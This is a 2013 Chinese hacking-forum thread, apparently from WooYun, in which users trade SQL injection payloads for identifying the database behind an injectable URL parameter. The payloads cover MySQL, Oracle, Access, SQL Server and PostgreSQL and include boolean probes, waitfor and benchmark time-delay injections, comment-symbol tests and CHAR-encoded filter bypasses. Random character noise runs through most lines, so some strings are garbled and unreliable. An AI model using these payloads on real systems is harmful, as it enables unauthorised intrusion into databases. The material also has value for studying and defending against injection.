一个注射点如何最快速确认是什么类型数据库9 O) U4 s5 U0 p; B' V; J
xsser (十根阳具有长短!!) | 2013-02-05 12:36
0 J6 K ^( n7 o/ p$ r0 l假设这么一个注射点:
8 v; q1 j. g% L2 ]) ^# zshow.html?id=2
4 r2 L; ]' b% l; Wmysql:id=2 and version()>0! m, P+ Q5 b, U$ d3 t
oracle:id=2 and '1'||'1'='11" Q. V6 d% l& Y( d
其他的欢迎补充9 k5 Z+ G b9 B* u
1#0 n& \* G( W/ R) Z0 J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:473 y4 D+ V) U5 b% b8 x4 U8 G1 u
Access:2 Y( @+ ]- |; T6 B1 P6 g G) L
aNd aSc(cHr(97))=970 Z; g0 A6 k6 L7 O/ O$ z' \9 N
and exists(select id from MSysAccessObjects)5 T- @& j4 E e. {5 C3 m
SQL Server:
1 Y+ o- J. _/ P0 A+ Y3 ^; ~and exists(select id from sysobjects)
! k0 [$ l, \' Z y5 wand length(user)>08 ^7 b1 A ?# M v8 m- R) Y
MySQL:2 I' V0 V; y$ o6 N0 x) [
and length(user())>0% P7 h- V$ e( w P. _8 I; Q4 G
2#
& X- O$ m" ~; H. a: n$ Z% Mxsser (十根阳具有长短!!) | 2013-02-05 12:48" _- @1 n" ~& Q
@upload 如果这些都不是呢…: j( {4 w- F! N
3#/ ^2 j2 b3 M9 F+ W
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03& X( w: }5 x8 ]+ t3 _4 k
@xsser 不快速的,延时注入
/ g& z! ^4 D- ]" d' G不知道这样写对不对
# O3 S! V3 i; k" fmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& ]: t! g& d! w3 l9 h% B# Q' wmysql:id=2 and select benchmark(1e8,current_date());$ ^+ W/ ~: O7 t! P( w$ O5 K" F
4#2 j. P7 }9 l7 y* Y8 [
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10: V& w* c/ e- D( f7 m; n
最快的貌似是看报错信息
3 D* l; e3 @& }+ \1 noracle error+ W' _7 Q, H/ P( Q: o `5 [ p4 n
mssql error
+ D; ~2 R% K. |3 w5 G) Hmysql error
( W3 p4 K+ {2 I7 z' t5#; ?9 L, e) r3 ~$ C+ n
Nimda (你们都是坏银~) | 2013-02-05 13:143 F- ~ @; y" Y# p9 b9 C
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
4 b- @9 @1 s/ m6#
5 M6 A6 l+ b# ^" Pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
3 ?+ w3 s- I: `# h: ^! V“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:4 o% j' y: ?$ l6 Y
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
7 ?, @% a* Z# m# `2 Q“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
) P4 q7 |1 i3 R' ?7#! F# U0 g3 s; D% |4 z9 \
_Evil (HackEnd) | 2013-02-05 13:33
O& l4 Z- L' N8 q2 p) W! Q/ x9 dPostgreSQL) D; B& o6 J1 ^0 c) x/ n
8## b3 ]" I; v' P' S0 ~# F4 J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:427 [: o% p6 K+ X. o% @ k4 e
切换编码 and 1=1
}" @1 X/ t; C4 R* A# i! }oracle:5 }1 U6 @$ l' g1 w4 t3 q) `
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49); H" c U S' z" M; l
mssql:( }7 J2 Z% G2 x* p, n x: n, c
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
) K G' g. k: H$ y; j( M. a* nmysql:1 q7 N+ G3 v0 b/ ]3 m* i; _
CHAR(97, 110, 100, 32, 49, 61, 49)5 }" b2 P9 @( S. t- W
9#( ]1 K% E. N& {/ W" }/ \
xsser (十根阳具有长短!!) | 2013-02-05 14:31
V, Q& n+ z+ ]/ Z/ C' U@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
: S: p9 l1 P! {' H) h) Q10#
& h. g- C+ K; s; U) S& Z: Vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46; ~( V, u8 P% o5 N& R' _7 l3 _
@xsser 是奇葩数据库类型的么?
# S. r% R m! P根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
/ Y/ w: i/ u u b1.是否可以使用特定的函数来判断,该数据库特有的6 B! e1 [9 t- h0 a( |
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等! q& |" k+ T7 q ` `0 C8 [! A
3.是否可以编码查询
: ?% W; r- b1 c, `" w8 ^( J* N# N4.是否显可以利用错信息
3 ?- n4 h( D" }8 L. m! J% ]& y5.是否存在数据库某些特性辅助判断
/ g E& \5 d. i个人见解1 l% ?' a ~# U S! D: w8 B. k
11#7 x& F- c' J0 Z( m* [. \7 ^3 Y
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55- I1 L: J% X8 u% D1 T* X9 Z7 ] W. E5 P
已收藏,mssql可以直接看到错误提示的吧~" ^0 C+ i, a- S, e7 ^2 q, L
12#
3 j% x0 G$ p3 |& }5 sPasser_by | 2013-02-05 15:09
. L) W+ k- M' u" F6 w# F曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
4 }! ~! f/ o `# |2 [from:http://zone.wooyun.org/content/260 |